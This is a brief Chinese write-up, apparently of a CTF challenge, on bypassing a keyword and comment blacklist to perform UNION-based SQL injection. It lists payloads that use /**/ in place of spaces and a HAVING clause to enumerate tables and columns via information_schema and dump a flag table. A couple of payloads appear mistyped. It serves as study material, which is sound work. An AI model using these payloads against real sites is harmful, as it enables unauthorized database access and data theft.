记一次过滤注释符的sql注入

写在前面:这个是一个很简单的联合注入,但是因为我对于这种通过输入来闭合,从而实现注入不是很熟悉,因此记录一下

1、fuzz测试

发现会给出过滤的字段

black_list is /if|and|s|#|--/i

不能通过注释掉后面的内容来闭合,所以这里要通过 构造闭合

用1or1=1测试有提示,说明闭合成功

2、联合注入

爆表名

username=/**/union/**/select/**/concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/having1=1

爆列名

username=username=/**/union/**/select/**/concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=flag/**/having1=1

爆字段名

username=/**/union/**/select/**/group_concat(flag)/**/from/**/flag/**/having1=1

这里有两个坑

    没有用having,语句一直无法执行成功,这个地方目前还没理解透彻 没有弄清楚concat函数与group_concat函数 concat和group_concat都是用在sql语句中做拼接使用的,但是两者使用的方式不尽相同,concat是针对以行数据做的拼接,而group_concat是针对列做的数据拼接,且group_concat自动生成逗号
经验分享 程序员 微信小程序 职场和发展